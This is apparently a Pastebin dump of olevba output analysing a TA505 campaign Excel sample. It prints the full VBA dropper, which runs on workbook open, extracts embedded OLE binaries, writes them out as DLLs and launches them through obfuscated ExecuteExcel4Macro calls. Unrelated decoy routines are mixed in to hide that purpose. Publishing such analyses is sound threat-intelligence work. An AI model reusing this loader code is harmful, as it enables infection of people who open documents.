G0dR4p3

TA505_ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717_analysis

Sep 2nd, 2020
969
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.58 KB | None | 0 0
  1. #TA505 #Campaign
  2. #oleobj #VBA #Macro
  3.  
  4. olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
  5. ===============================================================================
  6. FILE: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717
  7. Type: OLE
  8. -------------------------------------------------------------------------------
  9. VBA MACRO ThisWorkbook.cls
  10. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  11. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  12. Private Sub Workbook_Open()
  13. If WelcomeDialog.Visible = True Then
  14. Exit Sub
  15. End If
  16.  
  17. Module5.RedButton 2910
  18. End Sub
  19. -------------------------------------------------------------------------------
  20. VBA MACRO Sheet1.cls
  21. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
  22. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  23. Private Sub Worksheet_SelectionChange(ByVal target As Range)
  24.  
  25. End Sub
  26. -------------------------------------------------------------------------------
  27. VBA MACRO Page11.cls
  28. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
  29. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  30. (empty macro)
  31. -------------------------------------------------------------------------------
  32. VBA MACRO Lumene.cls
  33. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
  34. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  35.  
  36. Dim vSpeed As Integer
  37. Dim vLicensePlate As String
  38.  
  39. Public Property Get Speed() As Integer
  40. Speed = vSpeed
  41. End Property
  42.  
  43.  
  44. Public Property Get CheckCar(car As Variant, Drive As String)
  45. CheckCar = car.SpecialFolders("" & Drive)
  46.  
  47. End Property
  48. Public Property Get SpecialFolders() As String
  49. LicensePlate = vLicensePlate
  50. End Property
  51.  
  52. Public Property Let LicensePlate(lp As String)
  53. If Len(lp) <> 6 Then Err.Raise (xlErrValue) 'Raise error
  54. vLicensePlate = lp
  55. End Property
  56.  
  57.  
  58. Public Property Let Speed(sp As Integer)
  59.  
  60. End Property
  61.  
  62.  
  63. -------------------------------------------------------------------------------
  64. VBA MACRO Module0.bas
  65. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module0'
  66. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  67. (empty macro)
  68. -------------------------------------------------------------------------------
  69. VBA MACRO Module1.bas
  70. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
  71. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  72. Public HurricanMoes() As Byte
  73. Public PatchForLuck As Byte
  74. Public LUCKY As Double
  75. Public MoveStep As Byte
  76. Public PatchForHeart As Byte
  77.  
  78.  
  79.  
  80.  
  81.  
  82. Public Sub VistaQ(WhereToGo)
  83. DoEvents
  84. ThisWorkbook.Sheets.Copy
  85. Application.DisplayAlerts = False
  86. DoEvents
  87. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  88. DoEvents
  89. DoEvents
  90. ActiveWorkbook.Close
  91. DoEvents
  92. DoEvents
  93.  
  94.  
  95. End Sub
  96.  
  97.  
  98.  
  99.  
  100.  
  101. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  102. On Error Resume Next
  103. For Each Key In putArrayBigList
  104. Kill Key
  105. Next Key
  106. End Sub
  107.  
  108.  
  109.  
  110.  
  111.  
  112. Private Sub TextBox2_Change()
  113.  
  114. x = Len(TextBox2)
  115. Y = LTrim(TextBox2.Text)
  116. d = TextBox2
  117. If d = "" Then
  118. TextBox2.BackColor = &HFFFFFF
  119. Exit Sub
  120. End If
  121. If Left(d, 2) > 24 Then
  122. MsgBox "Ora Errata"
  123. TextBox2.SelStart = 0
  124. TextBox2.SelLength = Len(TextBox2)
  125. Exit Sub
  126. End If
  127. If x = 2 Then TextBox2 = Y & ":"
  128. If x = 4 Then Exit Sub
  129.  
  130. If Mid(d, 4, 2) = "" Then Exit Sub
  131. If Mid(d, 4, 2) > 59 Then
  132. MsgBox "Minuti Errati"
  133. TextBox2.SelStart = 3
  134. TextBox2.SelLength = Len(TextBox2)
  135. Exit Sub
  136. End If
  137.  
  138.  
  139. If x = 5 Then
  140. TextBox3.SetFocus
  141. End If
  142. Exit Sub
  143.  
  144. Resume
  145. End Sub
  146.  
  147. Public Function Vooooohead()
  148.  
  149.  
  150. Dim ofbl As String
  151. Dim sOfbl As String
  152. Dim NumBForRead As Long
  153.  
  154.  
  155. dershlep = "" + Form0.TextBox1.Tag
  156.  
  157.  
  158.  
  159. Dim sendings As Integer
  160. ofbl = Form0.TextBox3.Tag
  161. ofbl = ofbl + "\srt_join"
  162.  
  163. liquidOne = Form0.TextBox1.Tag + "\academ"
  164.  
  165. liquidOne = liquidOne + "l.xlsx"
  166.  
  167. Dim arr(1 To 3) As String
  168.  
  169.  
  170.  
  171.  
  172. If LenB(Form0.TextBox3.Text) > 200 Then
  173. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  174. TextBox7.SelStart = 0
  175. Else
  176.  
  177.  
  178. End If
  179. Dim objeto As Control
  180.  
  181. If Len(Form0.TextBox1.Text) > 366 Then
  182. For Each objeto In UserForm1.Controls
  183. On Error Resume Next
  184. objeto.Value = ""
  185. Next
  186.  
  187. Unload ggg.UserForm1
  188. ggg.UserForm1.Hide
  189. End If
  190.  
  191.  
  192.  
  193. ctackPip = liquidOne & Page11.Range("B115").Value
  194.  
  195. PublicResumEraseByArrayList ofbl + "*", ctackPip, dershlep + UserForm1.Label1.Tag
  196.  
  197.  
  198. VistaQ liquidOne
  199.  
  200. FileCopy liquidOne, ctackPip
  201. sendings = 1
  202. Dim sNMSP As New Shell
  203. FlagDouble = False
  204.  
  205. Lrigat = UserForm1.Label11.Tag
  206.  
  207. If sendings > 0 And sendings > -30 Then
  208.  
  209. Set DestinationKat = sNMSP.Namespace(dershlep)
  210. Set harvest = sNMSP.Namespace(ctackPip)
  211.  
  212.  
  213. End If
  214.  
  215.  
  216. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  217.  
  218.  
  219.  
  220. CallByName DestinationKat, "Co" + "py" + "Here", VbMethod, harvest.Items.Item(Lrigat)
  221.  
  222.  
  223. Dim car As Lumene
  224.  
  225. Set car = New Lumene
  226. For StepBit = 1 To 2
  227.  
  228. NumBForRead = 324480
  229. sendings = 1
  230. flayString = "1"
  231.  
  232. If FlagDouble Then
  233.  
  234. sendings = 2
  235. NumBForRead = 1000000 - 725696
  236. flayString = "2"
  237. Else
  238. FlagDouble = True
  239. End If
  240.  
  241. sOfbl = ofbl + flayString + ".dll"
  242. Composition dershlep + "" + UserForm1.Label1.Tag + "" + "", sOfbl, NumBForRead, sendings
  243.  
  244. If sendings < 100 Then
  245. sendings = sendings + 1
  246. sendings = sendings + 1
  247. End If
  248. If -100 <= sendings Then
  249. sendings = sendings + 1
  250. ChDir Form0.TextBox3.Tag
  251. sendings = sendings + 1
  252. End If
  253. sOfbl = """" + sOfbl & ""","""
  254.  
  255. If sendings < 0 Then
  256. sendings = sendings + 1
  257. sendings = sendings + 1
  258. End If
  259.  
  260.  
  261. If sendings > 1000 Then
  262. sendings = sendings + 1
  263. End If
  264.  
  265. If sendings < 0 Then
  266. sendings = sendings + 1
  267. End If
  268.  
  269.  
  270. d = CallByName(ExcelC, "Execu" + "teE" + "xcel4Macro", VbMethod, "CAL" + "L(" + sOfbl + "frar"",""J"")")
  271. If sendings < 0 Then
  272. sendings = sendings + 1
  273. sendings = sendings + 1
  274. End If
  275. StopByOk = TestResult(d)
  276.  
  277.  
  278. Next
  279. WelcomeDialog.Hide
  280.  
  281. End Function
  282.  
  283.  
  284. Sub subTotalSales()
  285.  
  286. Dim LR As Integer
  287. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  288. Rows("1:2").EntireRow.Insert Shift:=xlDown
  289.  
  290. If LR = 3 Then
  291. Range("A1").Select
  292. Call salesHeade.rs
  293. Range("A2").Formula = "$0"
  294. Range("B2").Formula = "$0"
  295. Range("C2").Formula = "$0"
  296. Range("D2").Formula = "$0"
  297. Range("E2").Formula = "$0"
  298. Range("F2").Formula = "0%"
  299. Range("G2").Formula = "0"
  300. Range("H2").Formula = "$0"
  301. Range("I2").Formula = "0"
  302. Range("J2").Formula = "0"
  303. Range("K2").Formula = "$0"
  304. Range("L2").Formula = "$0"
  305. Range("M2").Formula = "0"
  306. Range("N2").Formula = "0%"
  307. Else
  308. Range("A1").Select
  309. Call salesHeade.rs
  310. With ActiveSheet
  311.  
  312. End With
  313. End If
  314.  
  315. End Sub
  316.  
  317.  
  318. Sub InputWeekData(x As Date)
  319.  
  320. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  321. ActiveCell.Offset(0, 1).Select
  322. ActiveCell = x
  323. ActiveCell.Offset(0, 1).Select
  324. ActiveCell = x + 6
  325. ActiveCell.Offset(0, 1).Select
  326.  
  327. End Sub
  328. Private Sub TextBox3_Change()
  329.  
  330. Y = LTrim(TextBox3.Text)
  331. d = TextBox3
  332.  
  333. If x = 5 Then
  334. TextBox4.SetFocus
  335. End If
  336.  
  337. End Sub
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349. -------------------------------------------------------------------------------
  350. VBA MACRO Module2.bas
  351. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
  352. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  353.  
  354. Public Const FirstB As Byte = 77
  355. Public Const SecondB As Byte = 90
  356. Public Const ThirdB As Byte = 144
  357. Public Sub GetParam(Count As Integer)
  358. Dim i As Long
  359. Dim j As Integer
  360. Dim C As String
  361. Dim tooolsetChunkI As Boolean
  362. Dim tooolsetChunkQ As Boolean
  363.  
  364. j = 1
  365. tooolsetChunkI = False
  366. tooolsetChunkQ = False
  367. GetP.aram = ""
  368. For i = 1 To Len(Comma.nd$)
  369. C = Mi.d$(Comma.nd$, i, 1)
  370. If tooolsetChunkI Then
  371. If C = """" Then
  372. j = j + 1
  373. tooolsetChunkI = False
  374. tooolsetChunkQ = False
  375. End If
  376. ElseIf Not tooolsetChunkQ Then
  377. If C = " " Then
  378. j = j + 1
  379. End If
  380. Else
  381. If C = """" Then
  382. If j > Count Then Exit Sub
  383. tooolsetChunkI = True
  384. tooolsetChunkQ = True
  385. ElseIf C <> " ccc" Then
  386.  
  387. End If
  388. End If
  389. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  390. Next i
  391. End Sub
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. Public Sub GetParam3(Count As Integer)
  399. Dim i As Long
  400. Dim j As Integer
  401. Dim C As String
  402. Dim tooolsetChunkI As Boolean
  403. Dim tooolsetChunkQ As Boolean
  404.  
  405. j = 1
  406. tooolsetChunkI = False
  407. tooolsetChunkQ = False
  408. GetP.aram = ""
  409. For i = 1 To Len(Comma.nd$)
  410. C = Mi.d$(Comma.nd$, i, 1)
  411. If tooolsetChunkI Then
  412. If C = """" Then
  413. j = j + 1
  414. tooolsetChunkI = False
  415. tooolsetChunkQ = False
  416. End If
  417.  
  418. Else
  419. If C = """" Then
  420. If j > Count Then Exit Sub
  421. tooolsetChunkI = True
  422. tooolsetChunkQ = True
  423. ElseIf C <> " " Then
  424. tooolsetChunkI = True
  425. End If
  426. End If
  427. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  428. Next i
  429. End Sub
  430.  
  431.  
  432.  
  433.  
  434.  
  435.  
  436. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long, DisputeChannel6 As Integer)
  437. Dim PChannel As Long
  438. Dim logicVari As Integer
  439. Dim SimpleMethod As Integer
  440. ReDim HurricanMoes(1 To fl)
  441. PChannel = FreeFile
  442. Open Composition2 For Binary Access Read As PChannel
  443. HurricanMoes(1) = FirstB
  444.  
  445. HurricanMoes(2) = SecondB
  446. HurricanMoes(3) = ThirdB
  447. logicVari = 1
  448. Do While Not EOF(PChannel)
  449. Get PChannel, , MoveStep
  450. If MoveStep = FirstB Then
  451.  
  452. Get PChannel, , PatchForHeart
  453. If PatchForHeart = SecondB Then
  454.  
  455. Get PChannel, , PatchForLuck
  456. If PatchForLuck = ThirdB Then
  457.  
  458. If logicVari = DisputeChannel6 Then
  459. For k = 4 To fl
  460. Get PChannel, , MoveStep
  461. HurricanMoes(k) = MoveStep
  462. Next k
  463. Exit Do
  464. Else
  465. logicVari = logicVari + 1
  466. End If
  467. End If
  468. End If
  469. End If
  470. Loop
  471. On Error Resume Next
  472. PublicationChannel = 1892
  473. Close PChannel
  474. PublicationChannel = 1892 + PublicationChannel
  475. PChannel = FreeFile
  476. PublicationChannel = 1892 + PublicationChannel
  477. Open ofbl For Binary Lock Read Write As #PChannel
  478. PublicationChannel = 1892 + PublicationChannel
  479. zeroBob = 1
  480. For i = zeroBob To UBound(HurricanMoes)
  481.  
  482. If WelcomeDialog.Enabled = True Then
  483.  
  484. Put #PChannel, , HurricanMoes(i)
  485. End If
  486. Next i
  487. Close PChannel
  488. PChannel = FreeFile
  489. For HSP = 33 To -1 Step -0.25
  490. PChannel = 6 + i
  491. Next HSP
  492. PChannel = 6 + i
  493. End Sub
  494.  
  495.  
  496.  
  497.  
  498. Private Sub cmd_Keluar_Click()
  499. Unload LSD.Me
  500. MDIForm1.dokter.Enabled = True
  501. MDIForm1.dokter.Checked = False
  502. End Sub
  503.  
  504. Private Sub cmd_Perbaiki_Click()
  505. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  506. cmd_Simpan.Enabled = False
  507. cmd_Hapus.Enabled = False
  508. cmd_Batal.Enabled = True
  509. Dim var As String
  510. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  511. If var = Empty Then Exit Sub
  512. Data1.Recordset.Index = "Kode_dokter"
  513. Data1.Recordset.Seek "=", var
  514. If Not Data1.Recordset.NoMatch Then
  515. Call tam.pil
  516. txtkd_dok.Enabled = False
  517. txtnm_dok.Enabled = True
  518. cmd_Perbaiki.Caption = "&Perbaharui data"
  519. Else
  520. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  521. End If
  522. Else
  523. Data1.Recordset.Edit
  524. Data1.Recordset!kode_dokter = txtkd_dok.Text
  525. Data1.Recordset!nama_dokter = txtnm_dok.Text
  526. Data1.Recordset.Update
  527. Call ber.sih
  528. cmd_Perbaiki.Caption = "Pe&rbaiki"
  529. cmd_Batal.Enabled = False
  530. cmd_Simpan.Enabled = True
  531. cmd_Hapus.Enabled = True
  532. Call tdk_bi.sa
  533. End If
  534. End Sub
  535.  
  536. Private Sub cmd_Simpan_Click()
  537. If cmd_Simpan.Caption = "&Isi Data" Then
  538. Call bis.a
  539. nom.Or
  540. M.e.txtnm_dok.SetFocus
  541. cmd_Batal.Enabled = True
  542. cmd_Perbaiki.Enabled = False
  543. cmd_Hapus.Enabled = False
  544. cmd_cari.Enabled = False
  545. cmd_Simpan.Caption = "&Simpan Data"
  546. Else
  547. If txtkd_dok.Text = "" Or _
  548. txtnm_dok.Text = "" Then
  549. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  550. txtkd_dok.SetFocus
  551. Else
  552. cmd_Batal.Enabled = False
  553. cmd_Perbaiki.Enabled = True
  554. cmd_Hapus.Enabled = True
  555. cmd_cari.Enabled = True
  556. Data1.Recordset!kode_dokter = txtkd_dok.Text
  557. Data1.Recordset!nama_dokter = txtnm_dok.Text
  558. Data1.Recordset.Update
  559. Call ber.sih
  560. cmd_Simpan.Caption = "&Isi Data"
  561. End If
  562. End If
  563. End Sub
  564.  
  565.  
  566.  
  567. Function retVal(ByVal v As Variant) As Variant
  568. If v <> 0 Then
  569. retVal = v
  570. Else
  571. retVal = ""
  572. End If
  573.  
  574. End Function
  575.  
  576. Function getFile() As String()
  577. Dim s As String
  578. Dim sl(1000) As String
  579. Dim r As Range
  580. Dim i As Integer
  581. Erase sl
  582. i = 0
  583. For Each r In Worksheets("Sheet1").Range("B1:B100")
  584. s = r.Value
  585. If s <> "" Then
  586. i = i + 1
  587. sl(i) = s
  588. End If
  589. Next r
  590. getFile = sl()
  591. End Function
  592.  
  593. Function getReadKey() As String()
  594. Dim s As Variant
  595. Dim rs As Variant
  596. Dim tmp As Variant
  597. Dim tmpStr As String
  598. Dim i As Long
  599.  
  600. tmpStr = ""
  601. For Each s In getFile()
  602. If s <> "" Then
  603. tmp = Split(s, "\")
  604. For i = LBound(tmp) To UBound(tmp)
  605. If i = LBound(tmp) Then
  606. tmpStr = tmp(i)
  607. ElseIf i = UBound(tmp) Then
  608. tmpStr = tmpStr & "\[" & tmp(i) & "]" & "Sheet1"
  609. Else
  610. tmpStr = tmpStr & "\" & tmp(i)
  611. End If
  612. Next i
  613. If Not IsEmpty(rs) Then
  614. rs = rs & ";" & "'" & tmpStr & "'!"
  615. Else
  616. rs = "'" & tmpStr & "'!"
  617. End If
  618. End If
  619. Next s
  620. Erase tmp
  621. tmp = Split(rs, ";")
  622. getReadKey = tmp
  623. End Function
  624.  
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648.  
  649.  
  650. -------------------------------------------------------------------------------
  651. VBA MACRO UserForm1.frm
  652. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
  653. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  654. (empty macro)
  655. -------------------------------------------------------------------------------
  656. VBA MACRO Module5.bas
  657. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
  658. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  659.  
  660. Public Function RedButton(dImmer As Double)
  661.  
  662. DosTres = "DosTres"
  663.  
  664. If CallByName(WelcomeDialog, "Visible", VbGet) = True Then
  665. Exit Function
  666. End If
  667. reqPlace = 3
  668. reqPlace = reqPlace - 1
  669.  
  670. Set car = New Lumene
  671. Set TSPIP = New IWshRuntimeLibrary.WSHShell
  672. Select Case reqPlace
  673. Case 0
  674. s = "N health problems"
  675. Case 1
  676. s = "Minor health problems"
  677. Case 2
  678. s = "Major health problems"
  679.  
  680. Case 3
  681. s = "Sev ere disability"
  682. End Select
  683.  
  684. Dim SpecialPath As String
  685.  
  686. PRP = "%" & Form0.TextBox1.Tag
  687.  
  688.  
  689.  
  690. TBT = PRP
  691. TBT = TBT + "" + ""
  692. TBT = TBT + "%"
  693. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  694.  
  695. firstWeek = 0
  696. firstDay = 0
  697. Dim firstdate As Date
  698. CallByName Form0.TextBox1, "Tag", VbLet, TBT
  699. firstDay = 2
  700.  
  701. lastDay = 4
  702. Dim lastdate As Date
  703. lastWeek = 0
  704. lastDay = 0
  705.  
  706. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  707. firstWeek = 1
  708.  
  709. lastWeek = 3
  710. Form0.TextBox3.Tag = s
  711.  
  712.  
  713. If Not firstDay = 1 Then
  714. firstdate = firstdate + (8 - firstDay)
  715. firstWeek = firstWeek + 1
  716. End If
  717. If lastDay = 6 Then
  718. lastdate = lastdate + 1
  719. lastDay = lastDay + 1
  720. ElseIf Not lastDay = 7 Then
  721. lastdate = lastdate - lastDay
  722. lastDay = 7
  723. lastWeek = lastWeek - 1
  724. End If
  725.  
  726.  
  727. iteration = 0
  728.  
  729.  
  730. ChDir (Form0.TextBox1.Tag + "")
  731. If WelcomeDialog.Visible = False Then
  732. WelcomeDialog.Show
  733. End If
  734.  
  735. End Function
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743. Private Sub Command7_Click()
  744. B = MsgBox("?????????", vbYesNo)
  745. If B = vbYes Then
  746. a = "delete from cinema where cinid='"
  747. a = a + Text1.Text + "'"
  748. cnmovie.Execute a
  749. rs4.Close
  750. Sql = "select * from cinema"
  751. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  752. If rs.BOF Or rs.EOF Then
  753. MsgBox "?????!"
  754. Else
  755. rs4.MoveFirst
  756. Call View.Data
  757. End If
  758. End If
  759. End Sub
  760.  
  761.  
  762.  
  763.  
  764. Private Sub nomor()
  765. Dim urutan As String * 5
  766. Dim hitung As Byte
  767.  
  768. If Data1.Recordset.RecordCount = 0 Then
  769. urutan = "Dr" & "001"
  770. Else
  771. Data1.Recordset.MoveLast
  772. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  773. urutan = "00" & "001"
  774. Else
  775. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  776. urutan = "Dr" & Right("000" & hitung, 3)
  777. End If
  778. End If
  779. M.e.txtkd_dok = urutan
  780.  
  781. End Sub
  782.  
  783. Private Sub cmd_Batal_Click()
  784. Call be.rsih
  785. Call td.k_bisa
  786. cmd_Batal.Enabled = False
  787. cmd_Perbaiki.Enabled = True
  788. cmd_Hapus.Enabled = True
  789. cmd_cari.Enabled = True
  790. End Sub
  791.  
  792. Private Sub cmd_cari_Click()
  793. Dim var As String
  794. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  795. If var = Empty Then Exit Sub
  796. If var <> "" Then
  797. Data1.Recordset.Index = "kode_dokter"
  798. Data1.Recordset.Seek "=", var
  799. If Not Data1.Recordset.NoMatch Then
  800. Call tam.pil
  801. Call bi.sa
  802. Call kun.ci
  803. Else
  804. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  805. End If
  806. End If
  807. End Sub
  808.  
  809.  
  810.  
  811. Public Function TestResult(result As Variant)
  812. TestResult = False
  813. If IsNumeric(ExcelReturn) Then
  814. If ExcelReturn = 0 Then
  815. TestResult = True
  816. End If
  817. End If
  818. End Function
  819. Private Sub cmd_Hapus_Click()
  820. Dim var As String
  821. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  822. If var = Empty Then Exit Sub
  823. If var = "" Then
  824. Data1.Recordset.Index = "Kode_dokter"
  825. Data1.Recordset.Seek "=", var
  826. If Not Data1.Recordset.NoMatch Then
  827. Data1.Recordset.Delete
  828. Data1.Refresh
  829. Data1.Recordset.MoveFirst
  830. Else
  831. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  832.  
  833. End If
  834. End If
  835. End Sub
  836.  
  837.  
  838.  
  839.  
  840.  
  841.  
  842. -------------------------------------------------------------------------------
  843. VBA MACRO Form0.frm
  844. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
  845. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  846. (empty macro)
  847. -------------------------------------------------------------------------------
  848. VBA MACRO Sheet3.cls
  849. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet3'
  850. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  851. (empty macro)
  852. -------------------------------------------------------------------------------
  853. VBA MACRO Sheet2.cls
  854. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet2'
  855. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  856. (empty macro)
  857. -------------------------------------------------------------------------------
  858. VBA MACRO WelcomeDialog.frm
  859. in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
  860. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  861.  
  862. Private Sub UserForm_Activate()
  863. DoEvents
  864. DoEvents
  865. Vooooohead
  866. DoEvents
  867. End Sub
  868.  
  869.  
  870.  
  871.  
  872. -------------------------------------------------------------------------------
  873. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  874. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  875. H�,�
  876. -------------------------------------------------------------------------------
  877. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  878. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  879. Tahomas
  880. -------------------------------------------------------------------------------
  881. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  882. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  883. \oleObject*.bin
  884. -------------------------------------------------------------------------------
  885. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  886. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  887. Tahomae
  888. -------------------------------------------------------------------------------
  889. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  890. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  891. �Label1
  892. -------------------------------------------------------------------------------
  893. VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  894. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  895. �xl\embeddings\oleObject1.bin�
  896. -------------------------------------------------------------------------------
  897. VBA FORM Variable "b'TextBox1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  898. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  899. b''
  900. -------------------------------------------------------------------------------
  901. VBA FORM Variable "b'TextBox3'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  902. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  903. b'\\oleObject*.bin'
  904. -------------------------------------------------------------------------------
  905. VBA FORM Variable "b'ComboBox1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  906. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  907. b''
  908. -------------------------------------------------------------------------------
  909. VBA FORM Variable "b'Label1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
  910. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  911. None
  912. -------------------------------------------------------------------------------
  913. VBA FORM Variable "b'Label11'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
  914. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  915. None
  916. +----------+--------------------+---------------------------------------------+
  917. |Type |Keyword |Description |
  918. +----------+--------------------+---------------------------------------------+
  919. |AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
  920. |AutoExec |cmd_Keluar_Click |Runs when the file is opened and ActiveX |
  921. | | |objects trigger events |
  922. |AutoExec |TextBox2_Change |Runs when the file is opened and ActiveX |
  923. | | |objects trigger events |
  924. |Suspicious|Open |May open a file |
  925. |Suspicious|Write |May write to a file (if combined with Open) |
  926. |Suspicious|Put |May write to a file (if combined with Open) |
  927. |Suspicious|Binary |May read or write a binary file (if combined |
  928. | | |with Open) |
